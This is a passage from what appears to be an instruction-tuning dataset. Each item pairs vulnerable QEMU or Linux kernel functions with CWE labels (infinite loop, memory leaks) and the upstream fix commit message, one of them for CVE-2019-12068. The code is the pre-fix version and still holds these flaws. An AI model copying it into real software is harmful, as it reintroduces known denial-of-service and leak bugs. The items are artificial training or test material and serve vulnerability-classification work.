lsi_do_status(s);\n break;\n case PHASE_MO:\n lsi_do_msgout(s);\n break;\n case PHASE_MI:\n lsi_do_msgin(s);\n break;\n default:\n qemu_log_mask(LOG_UNIMP, \"lsi_scsi: Unimplemented phase %s\\n\",\n scsi_phase_name(s->sstat1));\n }\n s->dfifo = s->dbc & 0xff;\n s->ctest5 = (s->ctest5 & 0xfc) | ((s->dbc >> 8) & 3);\n s->sbc = s->dbc;\n s->rbc -= s->dbc;\n s->ua = addr + s->dbc;\n break;\n\n case 1: /* IO or Read/Write instruction. */\n opcode = (insn >> 27) & 7;\n if (opcode < 5) {\n uint32_t id;\n\n if (insn & (1 << 25)) {\n id = read_dword(s, s->dsa + sextract32(insn, 0, 24));\n } else {\n id = insn;\n }\n id = (id >> 16) & 0xf;\n if (insn & (1 << 26)) {\n addr = s->dsp + sextract32(addr, 0, 24);\n }\n s->dnad = addr;\n switch (opcode) {\n case 0: /* Select */\n s->sdid = id;\n if (s->scntl1 & LSI_SCNTL1_CON) {\n trace_lsi_execute_script_io_alreadyreselected();\n s->dsp = s->dnad;\n break;\n }\n s->sstat0 |= LSI_SSTAT0_WOA;\n s->scntl1 &= ~LSI_SCNTL1_IARB;\n if (!scsi_device_find(&s->bus, 0, id, 0)) {\n lsi_bad_selection(s, id);\n break;\n }\n trace_lsi_execute_script_io_selected(id,\n insn & (1 << 3) ? \" ATN\" : \"\");\n /* ??? Linux drivers compain when this is set. Maybe\n it only applies in low-level mode (unimplemented).\n lsi_script_scsi_interrupt(s, LSI_SIST0_CMP, 0); */\n s->select_tag = id << 8;\n s->scntl1 |= LSI_SCNTL1_CON;\n if (insn & (1 << 3)) {\n s->socl |= LSI_SOCL_ATN;\n s->sbcl |= LSI_SBCL_ATN;\n }\n s->sbcl |= LSI_SBCL_BSY;\n lsi_set_phase(s, PHASE_MO);\n s->waiting = LSI_NOWAIT;\n break;\n case 1: /* Disconnect */\n trace_lsi_execute_script_io_disconnect();\n s->scntl1 &= ~LSI_SCNTL1_CON;\n /* FIXME: this is not entirely correct; the target need not ask\n * for reselection until it has to send data, while here we force a\n * reselection as soon as the bus is free. The correct flow would\n * reselect before lsi_transfer_data and disconnect as soon as\n * DMA ends.\n */\n if (!s->current) {\n lsi_request *p = get_pending_req(s);\n if (p) {\n lsi_reselect(s, p);\n }\n }\n break;\n case 2: /* Wait Reselect */\n if (s->istat0 & LSI_ISTAT0_SIGP) {\n s->dsp = s->dnad;\n } else if (!lsi_irq_on_rsl(s)) {\n lsi_wait_reselect(s);\n }\n break;\n case 3: /* Set */\n trace_lsi_execute_script_io_set(\n insn & (1 << 3) ? \" ATN\" : \"\",\n insn & (1 << 6) ? \" ACK\" : \"\",\n insn & (1 << 9) ? \" TM\" : \"\",\n insn & (1 << 10) ? \" CC\" : \"\");\n if (insn & (1 << 3)) {\n s->socl |= LSI_SOCL_ATN;\n s->sbcl |= LSI_SBCL_ATN;\n lsi_set_phase(s, PHASE_MO);\n }\n\n if (insn & (1 << 6)) {\n s->sbcl |= LSI_SBCL_ACK;\n }\n\n if (insn & (1 << 9)) {\n qemu_log_mask(LOG_UNIMP,\n \"lsi_scsi: Target mode not implemented\\n\");\n }\n if (insn & (1 << 10))\n s->carry = 1;\n break;\n case 4: /* Clear */\n trace_lsi_execute_script_io_clear(\n insn & (1 << 3) ? \" ATN\" : \"\",\n insn & (1 << 6) ? \" ACK\" : \"\",\n insn & (1 << 9) ? \" TM\" : \"\",\n insn & (1 << 10) ? \" CC\" : \"\");\n if (insn & (1 << 3)) {\n s->socl &= ~LSI_SOCL_ATN;\n s->sbcl &= ~LSI_SBCL_ATN;\n }\n\n if (insn & (1 << 6)) {\n s->sbcl &= ~LSI_SBCL_ACK;\n }\n\n if (insn & (1 << 10))\n s->carry = 0;\n break;\n }\n } else {\n uint8_t op0;\n uint8_t op1;\n uint8_t data8;\n int reg;\n int operator;\n\n static const char *opcode_names[3] =\n {\"Write\", \"Read\", \"Read-Modify-Write\"};\n static const char *operator_names[8] =\n {\"MOV\", \"SHL\", \"OR\", \"XOR\", \"AND\", \"SHR\", \"ADD\", \"ADC\"};\n\n reg = ((insn >> 16) & 0x7f) | (insn & 0x80);\n data8 = (insn >> 8) & 0xff;\n opcode = (insn >> 27) & 7;\n operator = (insn >> 24) & 7;\n trace_lsi_execute_script_io_opcode(\n opcode_names[opcode - 5], reg,\n operator_names[operator], data8, s->sfbr,\n (insn & (1 << 23)) ? \" SFBR\" : \"\");\n op0 = op1 = 0;\n switch (opcode) {\n case 5: /* From SFBR */\n op0 = s->sfbr;\n op1 = data8;\n break;\n case 6: /* To SFBR */\n if (operator)\n op0 = lsi_reg_readb(s, reg);\n op1 = data8;\n break;\n case 7: /* Read-modify-write */\n if (operator)\n op0 = lsi_reg_readb(s, reg);\n if (insn & (1 << 23)) {\n op1 = s->sfbr;\n } else {\n op1 = data8;\n }\n break;\n }\n\n switch (operator) {\n case 0: /* move */\n op0 = op1;\n break;\n case 1: /* Shift left */\n op1 = op0 >> 7;\n op0 = (op0 << 1) | s->carry;\n s->carry = op1;\n break;\n case 2: /* OR */\n op0 |= op1;\n break;\n case 3: /* XOR */\n op0 ^= op1;\n break;\n case 4: /* AND */\n op0 &= op1;\n break;\n case 5: /* SHR */\n op1 = op0 & 1;\n op0 = (op0 >> 1) | (s->carry << 7);\n s->carry = op1;\n break;\n case 6: /* ADD */\n op0 += op1;\n s->carry = op0 < op1;\n break;\n case 7: /* ADC */\n op0 += op1 + s->carry;\n if (s->carry)\n s->carry = op0 <= op1;\n else\n s->carry = op0 < op1;\n break;\n }\n\n switch (opcode) {\n case 5: /* From SFBR */\n case 7: /* Read-modify-write */\n lsi_reg_writeb(s, reg, op0);\n break;\n case 6: /* To SFBR */\n s->sfbr = op0;\n break;\n }\n }\n break;\n\n case 2: /* Transfer Control. */\n {\n int cond;\n int jmp;\n\n if ((insn & 0x002e0000) == 0) {\n trace_lsi_execute_script_tc_nop();\n break;\n }\n if (s->sist1 & LSI_SIST1_STO) {\n trace_lsi_execute_script_tc_delayedselect_timeout();\n lsi_stop_script(s);\n break;\n }\n cond = jmp = (insn & (1 << 19)) != 0;\n if (cond == jmp && (insn & (1 << 21))) {\n trace_lsi_execute_script_tc_compc(s->carry == jmp);\n cond = s->carry != 0;\n }\n if (cond == jmp && (insn & (1 << 17))) {\n trace_lsi_execute_script_tc_compp(scsi_phase_name(s->sstat1),\n jmp ? '=' : '!', scsi_phase_name(insn >> 24));\n cond = (s->sstat1 & PHASE_MASK) == ((insn >> 24) & 7);\n }\n if (cond == jmp && (insn & (1 << 18))) {\n uint8_t mask;\n\n mask = (~insn >> 8) & 0xff;\n trace_lsi_execute_script_tc_compd(\n s->sfbr, mask, jmp ? '=' : '!', insn & mask);\n cond = (s->sfbr & mask) == (insn & mask);\n }\n if (cond == jmp) {\n if (insn & (1 << 23)) {\n /* Relative address. */\n addr = s->dsp + sextract32(addr, 0, 24);\n }\n switch ((insn >> 27) & 7) {\n case 0: /* Jump */\n trace_lsi_execute_script_tc_jump(addr);\n s->adder = addr;\n s->dsp = addr;\n break;\n case 1: /* Call */\n trace_lsi_execute_script_tc_call(addr);\n s->temp = s->dsp;\n s->dsp = addr;\n break;\n case 2: /* Return */\n trace_lsi_execute_script_tc_return(s->temp);\n s->dsp = s->temp;\n break;\n case 3: /* Interrupt */\n trace_lsi_execute_script_tc_interrupt(s->dsps);\n if ((insn & (1 << 20)) != 0) {\n s->istat0 |= LSI_ISTAT0_INTF;\n lsi_update_irq(s);\n } else {\n lsi_script_dma_interrupt(s, LSI_DSTAT_SIR);\n }\n break;\n default:\n trace_lsi_execute_script_tc_illegal();\n lsi_script_dma_interrupt(s, LSI_DSTAT_IID);\n break;\n }\n } else {\n trace_lsi_execute_script_tc_cc_failed();\n }\n }\n break;\n\n case 3:\n if ((insn & (1 << 29)) == 0) {\n /* Memory move. */\n uint32_t dest;\n /* ??? The docs imply the destination address is loaded into\n the TEMP register. However the Linux drivers rely on\n the value being presrved. */\n dest = read_dword(s, s->dsp);\n s->dsp += 4;\n lsi_memcpy(s, dest, addr, insn & 0xffffff);\n } else {\n uint8_t data[7];\n int reg;\n int n;\n int i;\n\n if (insn & (1 << 28)) {\n addr = s->dsa + sextract32(addr, 0, 24);\n }\n n = (insn & 7);\n reg = (insn >> 16) & 0xff;\n if (insn & (1 << 24)) {\n pci_dma_read(pci_dev, addr, data, n);\n trace_lsi_execute_script_mm_load(reg, n, addr, *(int *)data);\n for (i = 0; i < n; i++) {\n lsi_reg_writeb(s, reg + i, data[i]);\n }\n } else {\n trace_lsi_execute_script_mm_store(reg, n, addr);\n for (i = 0; i < n; i++) {\n data[i] = lsi_reg_readb(s, reg + i);\n }\n pci_dma_write(pci_dev, addr, data, n);\n }\n }\n }\n if (insn_processed > 10000 && s->waiting == LSI_NOWAIT) {\n /* Some windows drivers make the device spin waiting for a memory\n location to change. If we have been executed a lot of code then\n assume this is the case and force an unexpected device disconnect.\n This is apparently sufficient to beat the drivers into submission.\n */\n if (!(s->sien0 & LSI_SIST0_UDC)) {\n qemu_log_mask(LOG_GUEST_ERROR,\n \"lsi_scsi: inf. loop with UDC masked\");\n }\n lsi_script_scsi_interrupt(s, LSI_SIST0_UDC, 0);\n lsi_disconnect(s);\n } else if (s->istat1 & LSI_ISTAT1_SRUN && s->waiting == LSI_NOWAIT) {\n if (s->dcntl & LSI_DCNTL_SSM) {\n lsi_script_dma_interrupt(s, LSI_DSTAT_SSI);\n } else {\n goto again;\n }\n }\n trace_lsi_execute_script_stop();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'scsi: lsi: exit infinite loop while executing script (CVE-2019-12068)\n\nWhen executing script in lsi_execute_script(), the LSI scsi adapter\nemulator advances 's->dsp' index to read next opcode. This can lead\nto an infinite loop if the next opcode is empty. Move the existing\nloop exit after 10k iterations so that it covers no-op opcodes as\nwell.\n\nReported-by: Bugs SysSec \nSigned-off-by: Paolo Bonzini \nSigned-off-by: Prasad J Pandit \nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int acp_hw_init(void *handle)\n{\n\tint r, i;\n\tuint64_t acp_base;\n\tu32 val = 0;\n\tu32 count = 0;\n\tstruct device *dev;\n\tstruct i2s_platform_data *i2s_pdata;\n\n\tstruct amdgpu_device *adev = (struct amdgpu_device *)handle;\n\n\tconst struct amdgpu_ip_block *ip_block =\n\t\tamdgpu_device_ip_get_ip_block(adev, AMD_IP_BLOCK_TYPE_ACP);\n\n\tif (!ip_block)\n\t\treturn -EINVAL;\n\n\tr = amd_acp_hw_init(adev->acp.cgs_device,\n\t\t\t ip_block->version->major, ip_block->version->minor);\n\t/* -ENODEV means board uses AZ rather than ACP */\n\tif (r == -ENODEV) {\n\t\tamdgpu_dpm_set_powergating_by_smu(adev, AMD_IP_BLOCK_TYPE_ACP, true);\n\t\treturn 0;\n\t} else if (r) {\n\t\treturn r;\n\t}\n\n\tif (adev->rmmio_size == 0 || adev->rmmio_size < 0x5289)\n\t\treturn -EINVAL;\n\n\tacp_base = adev->rmmio_base;\n\n\n\tadev->acp.acp_genpd = kzalloc(sizeof(struct acp_pm_domain), GFP_KERNEL);\n\tif (adev->acp.acp_genpd == NULL)\n\t\treturn -ENOMEM;\n\n\tadev->acp.acp_genpd->gpd.name = \"ACP_AUDIO\";\n\tadev->acp.acp_genpd->gpd.power_off = acp_poweroff;\n\tadev->acp.acp_genpd->gpd.power_on = acp_poweron;\n\n\n\tadev->acp.acp_genpd->adev = adev;\n\n\tpm_genpd_init(&adev->acp.acp_genpd->gpd, NULL, false);\n\n\tadev->acp.acp_cell = kcalloc(ACP_DEVS, sizeof(struct mfd_cell),\n\t\t\t\t\t\t\tGFP_KERNEL);\n\n\tif (adev->acp.acp_cell == NULL)\n\t\treturn -ENOMEM;\n\n\tadev->acp.acp_res = kcalloc(5, sizeof(struct resource), GFP_KERNEL);\n\tif (adev->acp.acp_res == NULL) {\n\t\tkfree(adev->acp.acp_cell);\n\t\treturn -ENOMEM;\n\t}\n\n\ti2s_pdata = kcalloc(3, sizeof(struct i2s_platform_data), GFP_KERNEL);\n\tif (i2s_pdata == NULL) {\n\t\tkfree(adev->acp.acp_res);\n\t\tkfree(adev->acp.acp_cell);\n\t\treturn -ENOMEM;\n\t}\n\n\tswitch (adev->asic_type) {\n\tcase CHIP_STONEY:\n\t\ti2s_pdata[0].quirks = DW_I2S_QUIRK_COMP_REG_OFFSET |\n\t\t\tDW_I2S_QUIRK_16BIT_IDX_OVERRIDE;\n\t\tbreak;\n\tdefault:\n\t\ti2s_pdata[0].quirks = DW_I2S_QUIRK_COMP_REG_OFFSET;\n\t}\n\ti2s_pdata[0].cap = DWC_I2S_PLAY;\n\ti2s_pdata[0].snd_rates = SNDRV_PCM_RATE_8000_96000;\n\ti2s_pdata[0].i2s_reg_comp1 = ACP_I2S_COMP1_PLAY_REG_OFFSET;\n\ti2s_pdata[0].i2s_reg_comp2 = ACP_I2S_COMP2_PLAY_REG_OFFSET;\n\tswitch (adev->asic_type) {\n\tcase CHIP_STONEY:\n\t\ti2s_pdata[1].quirks = DW_I2S_QUIRK_COMP_REG_OFFSET |\n\t\t\tDW_I2S_QUIRK_COMP_PARAM1 |\n\t\t\tDW_I2S_QUIRK_16BIT_IDX_OVERRIDE;\n\t\tbreak;\n\tdefault:\n\t\ti2s_pdata[1].quirks = DW_I2S_QUIRK_COMP_REG_OFFSET |\n\t\t\tDW_I2S_QUIRK_COMP_PARAM1;\n\t}\n\n\ti2s_pdata[1].cap = DWC_I2S_RECORD;\n\ti2s_pdata[1].snd_rates = SNDRV_PCM_RATE_8000_96000;\n\ti2s_pdata[1].i2s_reg_comp1 = ACP_I2S_COMP1_CAP_REG_OFFSET;\n\ti2s_pdata[1].i2s_reg_comp2 = ACP_I2S_COMP2_CAP_REG_OFFSET;\n\n\ti2s_pdata[2].quirks = DW_I2S_QUIRK_COMP_REG_OFFSET;\n\tswitch (adev->asic_type) {\n\tcase CHIP_STONEY:\n\t\ti2s_pdata[2].quirks |= DW_I2S_QUIRK_16BIT_IDX_OVERRIDE;\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\ti2s_pdata[2].cap = DWC_I2S_PLAY | DWC_I2S_RECORD;\n\ti2s_pdata[2].snd_rates = SNDRV_PCM_RATE_8000_96000;\n\ti2s_pdata[2].i2s_reg_comp1 = ACP_BT_COMP1_REG_OFFSET;\n\ti2s_pdata[2].i2s_reg_comp2 = ACP_BT_COMP2_REG_OFFSET;\n\n\tadev->acp.acp_res[0].name = \"acp2x_dma\";\n\tadev->acp.acp_res[0].flags = IORESOURCE_MEM;\n\tadev->acp.acp_res[0].start = acp_base;\n\tadev->acp.acp_res[0].end = acp_base + ACP_DMA_REGS_END;\n\n\tadev->acp.acp_res[1].name = \"acp2x_dw_i2s_play\";\n\tadev->acp.acp_res[1].flags = IORESOURCE_MEM;\n\tadev->acp.acp_res[1].start = acp_base + ACP_I2S_PLAY_REGS_START;\n\tadev->acp.acp_res[1].end = acp_base + ACP_I2S_PLAY_REGS_END;\n\n\tadev->acp.acp_res[2].name = \"acp2x_dw_i2s_cap\";\n\tadev->acp.acp_res[2].flags = IORESOURCE_MEM;\n\tadev->acp.acp_res[2].start = acp_base + ACP_I2S_CAP_REGS_START;\n\tadev->acp.acp_res[2].end = acp_base + ACP_I2S_CAP_REGS_END;\n\n\tadev->acp.acp_res[3].name = \"acp2x_dw_bt_i2s_play_cap\";\n\tadev->acp.acp_res[3].flags = IORESOURCE_MEM;\n\tadev->acp.acp_res[3].start = acp_base + ACP_BT_PLAY_REGS_START;\n\tadev->acp.acp_res[3].end = acp_base + ACP_BT_PLAY_REGS_END;\n\n\tadev->acp.acp_res[4].name = \"acp2x_dma_irq\";\n\tadev->acp.acp_res[4].flags = IORESOURCE_IRQ;\n\tadev->acp.acp_res[4].start = amdgpu_irq_create_mapping(adev, 162);\n\tadev->acp.acp_res[4].end = adev->acp.acp_res[4].start;\n\n\tadev->acp.acp_cell[0].name = \"acp_audio_dma\";\n\tadev->acp.acp_cell[0].num_resources = 5;\n\tadev->acp.acp_cell[0].resources = &adev->acp.acp_res[0];\n\tadev->acp.acp_cell[0].platform_data = &adev->asic_type;\n\tadev->acp.acp_cell[0].pdata_size = sizeof(adev->asic_type);\n\n\tadev->acp.acp_cell[1].name = \"designware-i2s\";\n\tadev->acp.acp_cell[1].num_resources = 1;\n\tadev->acp.acp_cell[1].resources = &adev->acp.acp_res[1];\n\tadev->acp.acp_cell[1].platform_data = &i2s_pdata[0];\n\tadev->acp.acp_cell[1].pdata_size = sizeof(struct i2s_platform_data);\n\n\tadev->acp.acp_cell[2].name = \"designware-i2s\";\n\tadev->acp.acp_cell[2].num_resources = 1;\n\tadev->acp.acp_cell[2].resources = &adev->acp.acp_res[2];\n\tadev->acp.acp_cell[2].platform_data = &i2s_pdata[1];\n\tadev->acp.acp_cell[2].pdata_size = sizeof(struct i2s_platform_data);\n\n\tadev->acp.acp_cell[3].name = \"designware-i2s\";\n\tadev->acp.acp_cell[3].num_resources = 1;\n\tadev->acp.acp_cell[3].resources = &adev->acp.acp_res[3];\n\tadev->acp.acp_cell[3].platform_data = &i2s_pdata[2];\n\tadev->acp.acp_cell[3].pdata_size = sizeof(struct i2s_platform_data);\n\n\tr = mfd_add_hotplug_devices(adev->acp.parent, adev->acp.acp_cell,\n\t\t\t\t\t\t\t\tACP_DEVS);\n\tif (r)\n\t\treturn r;\n\n\tfor (i = 0; i < ACP_DEVS ; i++) {\n\t\tdev = get_mfd_cell_dev(adev->acp.acp_cell[i].name, i);\n\t\tr = pm_genpd_add_device(&adev->acp.acp_genpd->gpd, dev);\n\t\tif (r) {\n\t\t\tdev_err(dev, \"Failed to add dev to genpd\\n\");\n\t\t\treturn r;\n\t\t}\n\t}\n\n\n\t/* Assert Soft reset of ACP */\n\tval = cgs_read_register(adev->acp.cgs_device, mmACP_SOFT_RESET);\n\n\tval |= ACP_SOFT_RESET__SoftResetAud_MASK;\n\tcgs_write_register(adev->acp.cgs_device, mmACP_SOFT_RESET, val);\n\n\tcount = ACP_SOFT_RESET_DONE_TIME_OUT_VALUE;\n\twhile (true) {\n\t\tval = cgs_read_register(adev->acp.cgs_device, mmACP_SOFT_RESET);\n\t\tif (ACP_SOFT_RESET__SoftResetAudDone_MASK ==\n\t\t (val & ACP_SOFT_RESET__SoftResetAudDone_MASK))\n\t\t\tbreak;\n\t\tif (--count == 0) {\n\t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n\t\t\treturn -ETIMEDOUT;\n\t\t}\n\t\tudelay(100);\n\t}\n\t/* Enable clock to ACP and wait until the clock is enabled */\n\tval = cgs_read_register(adev->acp.cgs_device, mmACP_CONTROL);\n\tval = val | ACP_CONTROL__ClkEn_MASK;\n\tcgs_write_register(adev->acp.cgs_device, mmACP_CONTROL, val);\n\n\tcount = ACP_CLOCK_EN_TIME_OUT_VALUE;\n\n\twhile (true) {\n\t\tval = cgs_read_register(adev->acp.cgs_device, mmACP_STATUS);\n\t\tif (val & (u32) 0x1)\n\t\t\tbreak;\n\t\tif (--count == 0) {\n\t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n\t\t\treturn -ETIMEDOUT;\n\t\t}\n\t\tudelay(100);\n\t}\n\t/* Deassert the SOFT RESET flags */\n\tval = cgs_read_register(adev->acp.cgs_device, mmACP_SOFT_RESET);\n\tval &= ~ACP_SOFT_RESET__SoftResetAud_MASK;\n\tcgs_write_register(adev->acp.cgs_device, mmACP_SOFT_RESET, val);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-401'], 'message': 'drm/amdgpu: fix multiple memory leaks in acp_hw_init\n\nIn acp_hw_init there are some allocations that needs to be released in\ncase of failure:\n\n1- adev->acp.acp_genpd should be released if any allocation attemp for\nadev->acp.acp_cell, adev->acp.acp_res or i2s_pdata fails.\n2- all of those allocations should be released if\nmfd_add_hotplug_devices or pm_genpd_add_device fail.\n3- Release is needed in case of time out values expire.\n\nReviewed-by: Christian K\u00f6nig \nSigned-off-by: Navid Emamdoost \nSigned-off-by: Alex Deucher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int sdma_init(struct hfi1_devdata *dd, u8 port)\n{\n\tunsigned this_idx;\n\tstruct sdma_engine *sde;\n\tstruct rhashtable *tmp_sdma_rht;\n\tu16 descq_cnt;\n\tvoid *curr_head;\n\tstruct hfi1_pportdata *ppd = dd->pport + port;\n\tu32 per_sdma_credits;\n\tuint idle_cnt = sdma_idle_cnt;\n\tsize_t num_engines = chip_sdma_engines(dd);\n\tint ret = -ENOMEM;\n\n\tif (!HFI1_CAP_IS_KSET(SDMA)) {\n\t\tHFI1_CAP_CLEAR(SDMA_AHG);\n\t\treturn 0;\n\t}\n\tif (mod_num_sdma &&\n\t /* can't exceed chip support */\n\t mod_num_sdma <= chip_sdma_engines(dd) &&\n\t /* count must be >= vls */\n\t mod_num_sdma >= num_vls)\n\t\tnum_engines = mod_num_sdma;\n\n\tdd_dev_info(dd, \"SDMA mod_num_sdma: %u\\n\", mod_num_sdma);\n\tdd_dev_info(dd, \"SDMA chip_sdma_engines: %u\\n\", chip_sdma_engines(dd));\n\tdd_dev_info(dd, \"SDMA chip_sdma_mem_size: %u\\n\",\n\t\t chip_sdma_mem_size(dd));\n\n\tper_sdma_credits =\n\t\tchip_sdma_mem_size(dd) / (num_engines * SDMA_BLOCK_SIZE);\n\n\t/* set up freeze waitqueue */\n\tinit_waitqueue_head(&dd->sdma_unfreeze_wq);\n\tatomic_set(&dd->sdma_unfreeze_count, 0);\n\n\tdescq_cnt = sdma_get_descq_cnt();\n\tdd_dev_info(dd, \"SDMA engines %zu descq_cnt %u\\n\",\n\t\t num_engines, descq_cnt);\n\n\t/* alloc memory for array of send engines */\n\tdd->per_sdma = kcalloc_node(num_engines, sizeof(*dd->per_sdma),\n\t\t\t\t GFP_KERNEL, dd->node);\n\tif (!dd->per_sdma)\n\t\treturn ret;\n\n\tidle_cnt = ns_to_cclock(dd, idle_cnt);\n\tif (idle_cnt)\n\t\tdd->default_desc1 =\n\t\t\tSDMA_DESC1_HEAD_TO_HOST_FLAG;\n\telse\n\t\tdd->default_desc1 =\n\t\t\tSDMA_DESC1_INT_REQ_FLAG;\n\n\tif (!sdma_desct_intr)\n\t\tsdma_desct_intr = SDMA_DESC_INTR;\n\n\t/* Allocate memory for SendDMA descriptor FIFOs */\n\tfor (this_idx = 0; this_idx < num_engines; ++this_idx) {\n\t\tsde = &dd->per_sdma[this_idx];\n\t\tsde->dd = dd;\n\t\tsde->ppd = ppd;\n\t\tsde->this_idx = this_idx;\n\t\tsde->descq_cnt = descq_cnt;\n\t\tsde->desc_avail = sdma_descq_freecnt(sde);\n\t\tsde->sdma_shift = ilog2(descq_cnt);\n\t\tsde->sdma_mask = (1 << sde->sdma_shift) - 1;\n\n\t\t/* Create a mask specifically for each interrupt source */\n\t\tsde->int_mask = (u64)1 << (0 * TXE_NUM_SDMA_ENGINES +\n\t\t\t\t\t this_idx);\n\t\tsde->progress_mask = (u64)1 << (1 * TXE_NUM_SDMA_ENGINES +\n\t\t\t\t\t\tthis_idx);\n\t\tsde->idle_mask = (u64)1 << (2 * TXE_NUM_SDMA_ENGINES +\n\t\t\t\t\t this_idx);\n\t\t/* Create a combined mask to cover all 3 interrupt sources */\n\t\tsde->imask = sde->int_mask | sde->progress_mask |\n\t\t\t sde->idle_mask;\n\n\t\tspin_lock_init(&sde->tail_lock);\n\t\tseqlock_init(&sde->head_lock);\n\t\tspin_lock_init(&sde->senddmactrl_lock);\n\t\tspin_lock_init(&sde->flushlist_lock);\n\t\tseqlock_init(&sde->waitlock);\n\t\t/* insure there is always a zero bit */\n\t\tsde->ahg_bits = 0xfffffffe00000000ULL;\n\n\t\tsdma_set_state(sde, sdma_state_s00_hw_down);\n\n\t\t/* set up reference counting */\n\t\tkref_init(&sde->state.kref);\n\t\tinit_completion(&sde->state.comp);\n\n\t\tINIT_LIST_HEAD(&sde->flushlist);\n\t\tINIT_LIST_HEAD(&sde->dmawait);\n\n\t\tsde->tail_csr =\n\t\t\tget_kctxt_csr_addr(dd, this_idx, SD(TAIL));\n\n\t\ttasklet_init(&sde->sdma_hw_clean_up_task, sdma_hw_clean_up_task,\n\t\t\t (unsigned long)sde);\n\n\t\ttasklet_init(&sde->sdma_sw_clean_up_task, sdma_sw_clean_up_task,\n\t\t\t (unsigned long)sde);\n\t\tINIT_WORK(&sde->err_halt_worker, sdma_err_halt_wait);\n\t\tINIT_WORK(&sde->flush_worker, sdma_field_flush);\n\n\t\tsde->progress_check_head = 0;\n\n\t\ttimer_setup(&sde->err_progress_check_timer,\n\t\t\t sdma_err_progress_check, 0);\n\n\t\tsde->descq = dma_alloc_coherent(&dd->pcidev->dev,\n\t\t\t\t\t\tdescq_cnt * sizeof(u64[2]),\n\t\t\t\t\t\t&sde->descq_phys, GFP_KERNEL);\n\t\tif (!sde->descq)\n\t\t\tgoto bail;\n\t\tsde->tx_ring =\n\t\t\tkvzalloc_node(array_size(descq_cnt,\n\t\t\t\t\t\t sizeof(struct sdma_txreq *)),\n\t\t\t\t GFP_KERNEL, dd->node);\n\t\tif (!sde->tx_ring)\n\t\t\tgoto bail;\n\t}\n\n\tdd->sdma_heads_size = L1_CACHE_BYTES * num_engines;\n\t/* Allocate memory for DMA of head registers to memory */\n\tdd->sdma_heads_dma = dma_alloc_coherent(&dd->pcidev->dev,\n\t\t\t\t\t\tdd->sdma_heads_size,\n\t\t\t\t\t\t&dd->sdma_heads_phys,\n\t\t\t\t\t\tGFP_KERNEL);\n\tif (!dd->sdma_heads_dma) {\n\t\tdd_dev_err(dd, \"failed to allocate SendDMA head memory\\n\");\n\t\tgoto bail;\n\t}\n\n\t/* Allocate memory for pad */\n\tdd->sdma_pad_dma = dma_alloc_coherent(&dd->pcidev->dev, sizeof(u32),\n\t\t\t\t\t &dd->sdma_pad_phys, GFP_KERNEL);\n\tif (!dd->sdma_pad_dma) {\n\t\tdd_dev_err(dd, \"failed to allocate SendDMA pad memory\\n\");\n\t\tgoto bail;\n\t}\n\n\t/* assign each engine to different cacheline and init registers */\n\tcurr_head = (void *)dd->sdma_heads_dma;\n\tfor (this_idx = 0; this_idx < num_engines; ++this_idx) {\n\t\tunsigned long phys_offset;\n\n\t\tsde = &dd->per_sdma[this_idx];\n\n\t\tsde->head_dma = curr_head;\n\t\tcurr_head += L1_CACHE_BYTES;\n\t\tphys_offset = (unsigned long)sde->head_dma -\n\t\t\t (unsigned long)dd->sdma_heads_dma;\n\t\tsde->head_phys = dd->sdma_heads_phys + phys_offset;\n\t\tinit_sdma_regs(sde, per_sdma_credits, idle_cnt);\n\t}\n\tdd->flags |= HFI1_HAS_SEND_DMA;\n\tdd->flags |= idle_cnt ? HFI1_HAS_SDMA_TIMEOUT : 0;\n\tdd->num_sdma = num_engines;\n\tret = sdma_map_init(dd, port, ppd->vls_operational, NULL);\n\tif (ret < 0)\n\t\tgoto bail;\n\n\ttmp_sdma_rht = kzalloc(sizeof(*tmp_sdma_rht), GFP_KERNEL);\n\tif (!tmp_sdma_rht) {\n\t\tret = -ENOMEM;\n\t\tgoto bail;\n\t}\n\n\tret = rhashtable_init(tmp_sdma_rht, &sdma_rht_params);\n\tif (ret < 0)\n\t\tgoto bail;\n\tdd->sdma_rht = tmp_sdma_rht;\n\n\tdd_dev_info(dd, \"SDMA num_sdma: %u\\n\", dd->num_sdma);\n\treturn 0;\n\nbail:\n\tsdma_clean(dd, num_engines);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-401'], 'message': 'RDMA/hfi1: Prevent memory leak in sdma_init\n\nIn sdma_init if rhashtable_init fails the allocated memory for\ntmp_sdma_rht should be released.\n\nFixes: 5a52a7acf7e2 (\"IB/hfi1: NULL pointer dereference when freeing rhashtable\")\nLink: https://lore.kernel.org/r/20190925144543.10141-1-navid.emamdoost@gmail.com\nSigned-off-by: Navid Emamdoost \nAcked-by: Dennis Dalessandro \nSigned-off-by: Jason Gunthorpe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int mwifiex_pcie_init_evt_ring(struct mwifiex_adapter *adapter)\n{\n\tstruct pcie_service_card *card = adapter->card;\n\tstruct mwifiex_evt_buf_desc *desc;\n\tstruct sk_buff *skb;\n\tdma_addr_t buf_pa;\n\tint i;\n\n\tfor (i = 0; i < MWIFIEX_MAX_EVT_BD; i++) {\n\t\t/* Allocate skb here so that firmware can DMA data from it */\n\t\tskb = dev_alloc_skb(MAX_EVENT_SIZE);\n\t\tif (!skb) {\n\t\t\tmwifiex_dbg(adapter, ERROR,\n\t\t\t\t \"Unable to allocate skb for EVENT buf.\\n\");\n\t\t\tkfree(card->evtbd_ring_vbase);\n\t\t\treturn -ENOMEM;\n\t\t}\n\t\tskb_put(skb, MAX_EVENT_SIZE);\n\n\t\tif (mwifiex_map_pci_memory(adapter, skb, 